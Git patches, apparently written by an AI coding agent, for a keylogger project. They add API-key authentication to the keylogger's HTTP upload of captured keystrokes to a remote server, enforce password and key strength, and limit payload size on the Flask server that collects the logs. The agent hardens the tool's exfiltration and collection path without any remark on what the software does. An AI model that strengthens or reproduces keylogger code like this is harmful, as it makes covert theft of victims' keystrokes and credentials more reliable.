From e450630b7d15e741b0248f24bb655e34733dffc2 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:43:42 +0000 Subject: [PATCH 1/8] fix: harden auth and log ingestion security controls Agent-Logs-Url: https://github.com/Stalin-143/Keylogger/sessions/cef34b0e-605b-4ab9-8da6-2559d1dd4529 Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com> --- README.md | 5 +++-- config/.env.example | 7 +++++-- docs/INSTALLATION.md | 11 +++++----- src/keylogger.py | 16 +++++++++++++-- src/server.py | 49 ++++++++++++++++++++++++++++++++++++++------ 5 files changed, 71 insertions(+), 17 deletions(-) diff --git a/README.md b/README.md index cc641e2..58ce852 100644 --- a/README.md +++ b/README.md @@ -85,9 +85,10 @@ Welcome to the **Keylogger Project**! This project demonstrates how a keylogger Edit `config/.env`: ```bash - WEB_SERVER_USERNAME=admin - WEB_SERVER_PASSWORD=your_secure_password_here + WEB_SERVER_USERNAME=admin_user + WEB_SERVER_PASSWORD=your_very_strong_password_here FLASK_DEBUG=False + LOG_INGEST_API_KEY=replace_with_random_long_api_key ``` ### Usage diff --git a/config/.env.example b/config/.env.example index 0153696..e597d94 100644 --- a/config/.env.example +++ b/config/.env.example @@ -1,7 +1,10 @@ # Web Server Authentication -WEB_SERVER_USERNAME=admin -WEB_SERVER_PASSWORD=change_this_password +WEB_SERVER_USERNAME=admin_user +WEB_SERVER_PASSWORD=change_this_to_a_very_strong_password # Flask Configuration FLASK_DEBUG=False FLASK_SECRET_KEY=generate_random_secret_key_here + +# Shared API key for keylogger -> server log ingestion (minimum 24 chars) +LOG_INGEST_API_KEY=replace_with_random_long_api_key diff --git a/docs/INSTALLATION.md b/docs/INSTALLATION.md index ea93f5b..fad45cf 100644 --- a/docs/INSTALLATION.md +++ b/docs/INSTALLATION.md @@ -103,14 +103,15 @@ mkdir -p logs ```bash # Web Server Authentication -WEB_SERVER_USERNAME=admin -WEB_SERVER_PASSWORD=your_secure_password_here +WEB_SERVER_USERNAME=admin_user +WEB_SERVER_PASSWORD=your_very_strong_password_here # Flask Configuration FLASK_DEBUG=False +LOG_INGEST_API_KEY=replace_with_random_long_api_key ``` -**Important:** Change the default password to a secure one! +**Important:** Use a strong password (minimum 12 characters) and an API key of at least 24 characters. ### 3. Set Environment Variables (Before Running) @@ -144,7 +145,7 @@ python3 src/server.py --config config/config.json **With command-line options:** ```bash -python3 src/server.py --port 8080 --debug +python3 src/server.py --host 127.0.0.1 --port 8080 --debug ``` **All options:** @@ -152,7 +153,7 @@ python3 src/server.py --port 8080 --debug - `--log-file PATH`: Override log file path - `--host HOST`: Host to bind to (default: 0.0.0.0) - `--port PORT`: Port to bind to (default: 5000) -- `--debug`: Enable debug mode +- `--debug`: Enable debug mode (localhost bindings only) ### Exposing Server with ngrok (Optional) diff --git a/src/keylogger.py b/src/keylogger.py index f04e87a..4295e5d 100644 --- a/src/keylogger.py +++ b/src/keylogger.py @@ -32,7 +32,7 @@ GitHub: https://github.com/Stalin-143 class KeyLogger: """Keylogger class to handle keyboard input capture and logging.""" - def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True): + def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True, api_key=None): """ Initialize the KeyLogger. @@ -41,11 +41,13 @@ class KeyLogger: server_url (str): URL of the server to send logs to batch_size (int): Number of keystrokes before sending to server verify_ssl (bool): Whether to verify SSL certificates (default: True) + api_key (str): API key for authenticating log ingestion """ self.log_file_path = log_file_path self.server_url = server_url self.batch_size = batch_size self.verify_ssl = verify_ssl + self.api_key = api_key self.buffer = [] # Ensure the log directory exists @@ -72,9 +74,14 @@ class KeyLogger: try: log_data = ''.join(self.buffer) + headers = {} + if self.api_key: + headers["X-API-Key"] = self.api_key + response = requests.post( self.server_url, data={"log": log_data}, + headers=headers, timeout=10, verify=self.verify_ssl # Verify SSL certificates by default ) @@ -213,18 +220,23 @@ def main(): server_url = args.server_url or keylogger_config.get('server_url', '') batch_size = args.batch_size or keylogger_config.get('batch_size', 10) verify_ssl = not args.no_verify_ssl # Default to True unless --no-verify-ssl is passed + api_key = os.getenv('LOG_INGEST_API_KEY') if not server_url: print("Error: Server URL not configured.") print("Please set server_url in config/config.json or use --server-url argument.") sys.exit(1) + + if not api_key or len(api_key) < 24: + print("Error: LOG_INGEST_API_KEY environment variable is required and must be at least 24 characters.") + sys.exit(1) if args.no_verify_ssl: print("⚠️ WARNING: SSL certificate verification is DISABLED!") print(" This is NOT recommended for production use.") # Create and start the keylogger - keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl) + keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl, api_key) keylogger.start() diff --git a/src/server.py b/src/server.py index 7da76f7..a2f47da 100644 --- a/src/server.py +++ b/src/server.py @@ -33,8 +33,10 @@ app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32)) CONFIG = { 'log_file_path': 'logs/keylog.txt', 'username': 'admin', - 'password': 'admin' + 'password': 'admin', + 'api_key': None } +MAX_LOG_PAYLOAD_BYTES = 64 * 1024 def check_auth(username, password): @@ -82,6 +84,21 @@ def requires_auth(f): return decorated +def has_valid_api_key(): + """ + Validate API key for log ingestion endpoint. + + Returns: + bool: True when API key is configured and valid + """ + configured_api_key = CONFIG.get('api_key') + request_api_key = request.headers.get('X-API-Key') + + if not configured_api_key or not request_api_key: + return False + return secrets.compare_digest(request_api_key, configured_api_key) + + # HTML template to display the log contents and provide a download link HTML_TEMPLATE = ''' @@ -210,8 +227,17 @@ def receive_log(): Success or error message """ try: + if not has_valid_api_key(): + return "Unauthorized", 401 + + if request.content_length and request.content_length > MAX_LOG_PAYLOAD_BYTES: + return "Log payload too large", 413 + log_data = request.form.get('log', '') if log_data: + if len(log_data.encode('utf-8')) > MAX_LOG_PAYLOAD_BYTES: + return "Log payload too large", 413 + log_file_path = CONFIG['log_file_path'] # Ensure log directory exists @@ -220,7 +246,7 @@ def receive_log(): os.makedirs(log_dir, exist_ok=True) # Append log data to file - with open(log_file_path, 'a') as f: + with open(log_file_path, 'a', encoding='utf-8') as f: f.write(log_data) return "Log received successfully", 200 @@ -297,6 +323,7 @@ def main(): # Load credentials from environment variables CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME') CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD') + CONFIG['api_key'] = os.getenv('LOG_INGEST_API_KEY') # Validate that credentials are set if not CONFIG['username'] or not CONFIG['password']: @@ -308,16 +335,26 @@ def main(): print("\nOr source your .env file:") print(" source config/.env") sys.exit(1) - - if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 8: - print("⚠️ WARNING: Weak password detected!") - print(" Please use a strong password (at least 8 characters).") + + if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 12: + print("ERROR: Weak password detected.") + print("Please use a strong password (at least 12 characters).") + sys.exit(1) + + if not CONFIG['api_key'] or len(CONFIG['api_key']) < 24: + print("ERROR: LOG_INGEST_API_KEY is required and must be at least 24 characters.") + sys.exit(1) # Get server settings host = args.host or server_config.get('host', '0.0.0.0') port = args.port or server_config.get('port', 5000) debug = args.debug or server_config.get('debug', False) + if debug and host not in ('127.0.0.1', 'localhost', '::1'): + print("ERROR: Debug mode is only allowed on localhost interfaces.") + print("Use a local host binding or disable --debug.") + sys.exit(1) + print(f"\nStarting web server on {host}:{port}") print(f"Log file path: {CONFIG['log_file_path']}") print(f"Username: {CONFIG['username']}") From d61ff1364e9ea002a37159a5f33e94f2e4283d58 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:44:43 +0000 Subject: [PATCH 2/8] refactor: address validation review feedback Agent-Logs-Url: https://github.com/Stalin-143/Keylogger/sessions/cef34b0e-605b-4ab9-8da6-2559d1dd4529 Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com> --- src/keylogger.py | 8 ++++++-- src/server.py | 3 --- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/src/keylogger.py b/src/keylogger.py index 4295e5d..14537f4 100644 --- a/src/keylogger.py +++ b/src/keylogger.py @@ -227,8 +227,12 @@ def main(): print("Please set server_url in config/config.json or use --server-url argument.") sys.exit(1) - if not api_key or len(api_key) < 24: - print("Error: LOG_INGEST_API_KEY environment variable is required and must be at least 24 characters.") + if not api_key: + print("Error: LOG_INGEST_API_KEY environment variable is required.") + sys.exit(1) + + if len(api_key) < 24: + print("Error: LOG_INGEST_API_KEY must be at least 24 characters.") sys.exit(1) if args.no_verify_ssl: diff --git a/src/server.py b/src/server.py index a2f47da..a09b2a4 100644 --- a/src/server.py +++ b/src/server.py @@ -230,9 +230,6 @@ def receive_log(): if not has_valid_api_key(): return "Unauthorized", 401 - if request.content_length and request.content_length > MAX_LOG_PAYLOAD_BYTES: - return "Log payload too large", 413 - log_data = request.form.get('log', '') if log_data: if len(log_data.encode('utf-8')) > MAX_LOG_PAYLOAD_BYTES: From 66436ce0a55e448af1e0e7070d5d6710621e8a75 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:45:37 +0000 Subject: [PATCH 3/8] security: enforce credential complexity and api key entropy checks Agent-Logs-Url: https://github.com/Stalin-143/Keylogger/sessions/cef34b0e-605b-4ab9-8da6-2559d1dd4529 Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com> --- src/keylogger.py | 4 ++-- src/server.py | 43 +++++++++++++++++++++++++++++++++++++++---- 2 files changed, 41 insertions(+), 6 deletions(-) diff --git a/src/keylogger.py b/src/keylogger.py index 14537f4..e144b3d 100644 --- a/src/keylogger.py +++ b/src/keylogger.py @@ -228,11 +228,11 @@ def main(): sys.exit(1) if not api_key: - print("Error: LOG_INGEST_API_KEY environment variable is required.") + print("ERROR: LOG_INGEST_API_KEY environment variable is required.") sys.exit(1) if len(api_key) < 24: - print("Error: LOG_INGEST_API_KEY must be at least 24 characters.") + print("ERROR: LOG_INGEST_API_KEY must be at least 24 characters.") sys.exit(1) if args.no_verify_ssl: diff --git a/src/server.py b/src/server.py index a09b2a4..6a346ad 100644 --- a/src/server.py +++ b/src/server.py @@ -9,6 +9,7 @@ import sys import json import secrets import argparse +import string from functools import wraps from flask import Flask, render_template_string, send_file, request, Response @@ -99,6 +100,40 @@ def has_valid_api_key(): return secrets.compare_digest(request_api_key, configured_api_key) +def is_strong_password(password): + """ + Validate password complexity requirements. + + Args: + password (str): Password to validate + + Returns: + bool: True when password meets complexity requirements + """ + has_upper = any(char.isupper() for char in password) + has_lower = any(char.islower() for char in password) + has_digit = any(char.isdigit() for char in password) + has_special = any(char in string.punctuation for char in password) + return has_upper and has_lower and has_digit and has_special + + +def has_sufficient_key_entropy(value): + """ + Basic entropy checks for shared API key quality. + + Args: + value (str): API key value + + Returns: + bool: True when key has enough character variety + """ + if len(set(value)) < 8: + return False + if value.count(value[0]) == len(value): + return False + return True + + # HTML template to display the log contents and provide a download link HTML_TEMPLATE = ''' @@ -333,13 +368,13 @@ def main(): print(" source config/.env") sys.exit(1) - if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 12: + if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 12 or not is_strong_password(CONFIG['password']): print("ERROR: Weak password detected.") - print("Please use a strong password (at least 12 characters).") + print("Please use at least 12 characters with uppercase, lowercase, number, and special character.") sys.exit(1) - if not CONFIG['api_key'] or len(CONFIG['api_key']) < 24: - print("ERROR: LOG_INGEST_API_KEY is required and must be at least 24 characters.") + if not CONFIG['api_key'] or len(CONFIG['api_key']) < 24 or not has_sufficient_key_entropy(CONFIG['api_key']): + print("ERROR: LOG_INGEST_API_KEY is required, must be at least 24 characters, and must have sufficient entropy.") sys.exit(1) # Get server settings From 37ab7a3c67f9711c000762d48acd598106f2801a Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:46:25 +0000 Subject: [PATCH 4/8] chore: clarify credential validation errors and constants Agent-Logs-Url: https://github.com/Stalin-143/Keylogger/sessions/cef34b0e-605b-4ab9-8da6-2559d1dd4529 Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com> --- src/server.py | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/src/server.py b/src/server.py index 6a346ad..07739d5 100644 --- a/src/server.py +++ b/src/server.py @@ -38,6 +38,7 @@ CONFIG = { 'api_key': None } MAX_LOG_PAYLOAD_BYTES = 64 * 1024 +MIN_API_KEY_UNIQUE_CHARS = 8 def check_auth(username, password): @@ -127,7 +128,7 @@ def has_sufficient_key_entropy(value): Returns: bool: True when key has enough character variety """ - if len(set(value)) < 8: + if len(set(value)) < MIN_API_KEY_UNIQUE_CHARS: return False if value.count(value[0]) == len(value): return False @@ -368,13 +369,25 @@ def main(): print(" source config/.env") sys.exit(1) - if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 12 or not is_strong_password(CONFIG['password']): + if CONFIG['password'] == 'admin': + print("ERROR: Default password 'admin' is not allowed.") + sys.exit(1) + + if len(CONFIG['password']) < 12 or not is_strong_password(CONFIG['password']): print("ERROR: Weak password detected.") print("Please use at least 12 characters with uppercase, lowercase, number, and special character.") sys.exit(1) - if not CONFIG['api_key'] or len(CONFIG['api_key']) < 24 or not has_sufficient_key_entropy(CONFIG['api_key']): - print("ERROR: LOG_INGEST_API_KEY is required, must be at least 24 characters, and must have sufficient entropy.") + if not CONFIG['api_key']: + print("ERROR: LOG_INGEST_API_KEY is required.") + sys.exit(1) + + if len(CONFIG['api_key']) < 24: + print("ERROR: LOG_INGEST_API_KEY must be at least 24 characters.") + sys.exit(1) + + if not has_sufficient_key_entropy(CONFIG['api_key']): + print(f"ERROR: LOG_INGEST_API_KEY must include at least {MIN_API_KEY_UNIQUE_CHARS} unique characters.") sys.exit(1) # Get server settings From b3e4456f5507202ea0ae4a6302e25a936051e197 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:47:17 +0000 Subject: [PATCH 5/8] fix: resolve codeql-sensitive logging and final review findings Agent-Logs-Url: https://github.com/Stalin-143/Keylogger/sessions/cef34b0e-605b-4ab9-8da6-2559d1dd4529 Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com> --- src/server.py | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/src/server.py b/src/server.py index 07739d5..ee376f7 100644 --- a/src/server.py +++ b/src/server.py @@ -38,6 +38,8 @@ CONFIG = { 'api_key': None } MAX_LOG_PAYLOAD_BYTES = 64 * 1024 +MIN_PASSWORD_LENGTH = 12 +MIN_API_KEY_LENGTH = 24 MIN_API_KEY_UNIQUE_CHARS = 8 @@ -128,6 +130,8 @@ def has_sufficient_key_entropy(value): Returns: bool: True when key has enough character variety """ + if not value: + return False if len(set(value)) < MIN_API_KEY_UNIQUE_CHARS: return False if value.count(value[0]) == len(value): @@ -373,21 +377,24 @@ def main(): print("ERROR: Default password 'admin' is not allowed.") sys.exit(1) - if len(CONFIG['password']) < 12 or not is_strong_password(CONFIG['password']): + if len(CONFIG['password']) < MIN_PASSWORD_LENGTH or not is_strong_password(CONFIG['password']): print("ERROR: Weak password detected.") - print("Please use at least 12 characters with uppercase, lowercase, number, and special character.") + print( + f"Please use at least {MIN_PASSWORD_LENGTH} characters with uppercase, lowercase, " + "number, and special character." + ) sys.exit(1) if not CONFIG['api_key']: print("ERROR: LOG_INGEST_API_KEY is required.") sys.exit(1) - if len(CONFIG['api_key']) < 24: - print("ERROR: LOG_INGEST_API_KEY must be at least 24 characters.") + if len(CONFIG['api_key']) < MIN_API_KEY_LENGTH: + print(f"ERROR: LOG_INGEST_API_KEY must be at least {MIN_API_KEY_LENGTH} characters.") sys.exit(1) if not has_sufficient_key_entropy(CONFIG['api_key']): - print(f"ERROR: LOG_INGEST_API_KEY must include at least {MIN_API_KEY_UNIQUE_CHARS} unique characters.") + print(f"ERROR: Ingestion API key must include at least {MIN_API_KEY_UNIQUE_CHARS} unique characters.") sys.exit(1) # Get server settings From 1f996129182089b9b06408a4c07d192704915293 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:48:18 +0000 Subject: [PATCH 6/8] fix: remove remaining sensitive output and align api key constants Agent-Logs-Url: https://github.com/Stalin-143/Keylogger/sessions/cef34b0e-605b-4ab9-8da6-2559d1dd4529 Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com> --- src/keylogger.py | 6 ++++-- src/server.py | 21 +++++---------------- 2 files changed, 9 insertions(+), 18 deletions(-) diff --git a/src/keylogger.py b/src/keylogger.py index e144b3d..02db8e9 100644 --- a/src/keylogger.py +++ b/src/keylogger.py @@ -28,6 +28,8 @@ BANNER = r""" GitHub: https://github.com/Stalin-143 """ +MIN_API_KEY_LENGTH = 24 + class KeyLogger: """Keylogger class to handle keyboard input capture and logging.""" @@ -231,8 +233,8 @@ def main(): print("ERROR: LOG_INGEST_API_KEY environment variable is required.") sys.exit(1) - if len(api_key) < 24: - print("ERROR: LOG_INGEST_API_KEY must be at least 24 characters.") + if len(api_key) < MIN_API_KEY_LENGTH: + print(f"ERROR: LOG_INGEST_API_KEY must be at least {MIN_API_KEY_LENGTH} characters.") sys.exit(1) if args.no_verify_ssl: diff --git a/src/server.py b/src/server.py index ee376f7..80d0875 100644 --- a/src/server.py +++ b/src/server.py @@ -134,8 +134,6 @@ def has_sufficient_key_entropy(value): return False if len(set(value)) < MIN_API_KEY_UNIQUE_CHARS: return False - if value.count(value[0]) == len(value): - return False return True @@ -374,28 +372,19 @@ def main(): sys.exit(1) if CONFIG['password'] == 'admin': - print("ERROR: Default password 'admin' is not allowed.") - sys.exit(1) + sys.exit("ERROR: Authentication secret uses a disallowed default value.") if len(CONFIG['password']) < MIN_PASSWORD_LENGTH or not is_strong_password(CONFIG['password']): - print("ERROR: Weak password detected.") - print( - f"Please use at least {MIN_PASSWORD_LENGTH} characters with uppercase, lowercase, " - "number, and special character." - ) - sys.exit(1) + sys.exit("ERROR: Authentication secret does not meet complexity policy.") if not CONFIG['api_key']: - print("ERROR: LOG_INGEST_API_KEY is required.") - sys.exit(1) + sys.exit("ERROR: Ingestion API secret is required.") if len(CONFIG['api_key']) < MIN_API_KEY_LENGTH: - print(f"ERROR: LOG_INGEST_API_KEY must be at least {MIN_API_KEY_LENGTH} characters.") - sys.exit(1) + sys.exit("ERROR: Ingestion API secret does not meet length policy.") if not has_sufficient_key_entropy(CONFIG['api_key']): - print(f"ERROR: Ingestion API key must include at least {MIN_API_KEY_UNIQUE_CHARS} unique characters.") - sys.exit(1) + sys.exit("ERROR: Ingestion API secret does not meet entropy policy.") # Get server settings host = args.host or server_config.get('host', '0.0.0.0') From e938f21e929d642d3bbf0c0cf9add0430344f03a Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:49:11 +0000 Subject: [PATCH 7/8] fix: resolve final codeql alert and improve policy messaging Agent-Logs-Url: https://github.com/Stalin-143/Keylogger/sessions/cef34b0e-605b-4ab9-8da6-2559d1dd4529 Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com> --- src/keylogger.py | 6 ++---- src/server.py | 16 +++++++++++----- 2 files changed, 13 insertions(+), 9 deletions(-) diff --git a/src/keylogger.py b/src/keylogger.py index 02db8e9..45f8a40 100644 --- a/src/keylogger.py +++ b/src/keylogger.py @@ -230,12 +230,10 @@ def main(): sys.exit(1) if not api_key: - print("ERROR: LOG_INGEST_API_KEY environment variable is required.") - sys.exit(1) + sys.exit("ERROR: Ingestion API secret is required.") if len(api_key) < MIN_API_KEY_LENGTH: - print(f"ERROR: LOG_INGEST_API_KEY must be at least {MIN_API_KEY_LENGTH} characters.") - sys.exit(1) + sys.exit(f"ERROR: Ingestion API secret must be at least {MIN_API_KEY_LENGTH} characters.") if args.no_verify_ssl: print("⚠️ WARNING: SSL certificate verification is DISABLED!") diff --git a/src/server.py b/src/server.py index 80d0875..d57706e 100644 --- a/src/server.py +++ b/src/server.py @@ -117,7 +117,8 @@ def is_strong_password(password): has_lower = any(char.islower() for char in password) has_digit = any(char.isdigit() for char in password) has_special = any(char in string.punctuation for char in password) - return has_upper and has_lower and has_digit and has_special + has_min_length = len(password) >= MIN_PASSWORD_LENGTH + return has_min_length and has_upper and has_lower and has_digit and has_special def has_sufficient_key_entropy(value): @@ -374,17 +375,22 @@ def main(): if CONFIG['password'] == 'admin': sys.exit("ERROR: Authentication secret uses a disallowed default value.") - if len(CONFIG['password']) < MIN_PASSWORD_LENGTH or not is_strong_password(CONFIG['password']): - sys.exit("ERROR: Authentication secret does not meet complexity policy.") + if not is_strong_password(CONFIG['password']): + sys.exit( + "ERROR: Authentication secret must be at least 12 characters and include uppercase, " + "lowercase, number, and special character." + ) if not CONFIG['api_key']: sys.exit("ERROR: Ingestion API secret is required.") if len(CONFIG['api_key']) < MIN_API_KEY_LENGTH: - sys.exit("ERROR: Ingestion API secret does not meet length policy.") + sys.exit(f"ERROR: Ingestion API secret must be at least {MIN_API_KEY_LENGTH} characters.") if not has_sufficient_key_entropy(CONFIG['api_key']): - sys.exit("ERROR: Ingestion API secret does not meet entropy policy.") + sys.exit( + f"ERROR: Ingestion API secret must contain at least {MIN_API_KEY_UNIQUE_CHARS} unique characters." + ) # Get server settings host = args.host or server_config.get('host', '0.0.0.0') From 6d9a9d65a649b2a2d8688a4e5c754d77dd41fe89 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:50:08 +0000 Subject: [PATCH 8/8] security: enforce pre-parse payload limit and stronger api key diversity Agent-Logs-Url: https://github.com/Stalin-143/Keylogger/sessions/cef34b0e-605b-4ab9-8da6-2559d1dd4529 Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com> --- src/server.py | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/src/server.py b/src/server.py index d57706e..dc314e6 100644 --- a/src/server.py +++ b/src/server.py @@ -25,12 +25,6 @@ BANNER = r""" Github: https://github.com/Stalin-143 """ -app = Flask(__name__) - -# Set a secure secret key for session management -app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32)) - -# Global configuration CONFIG = { 'log_file_path': 'logs/keylog.txt', 'username': 'admin', @@ -42,6 +36,12 @@ MIN_PASSWORD_LENGTH = 12 MIN_API_KEY_LENGTH = 24 MIN_API_KEY_UNIQUE_CHARS = 8 +app = Flask(__name__) +app.config['MAX_CONTENT_LENGTH'] = MAX_LOG_PAYLOAD_BYTES + +# Set a secure secret key for session management +app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32)) + def check_auth(username, password): """ @@ -135,6 +135,12 @@ def has_sufficient_key_entropy(value): return False if len(set(value)) < MIN_API_KEY_UNIQUE_CHARS: return False + has_upper = any(char.isupper() for char in value) + has_lower = any(char.islower() for char in value) + has_digit = any(char.isdigit() for char in value) + has_special = any(char in string.punctuation for char in value) + if sum([has_upper, has_lower, has_digit, has_special]) < 3: + return False return True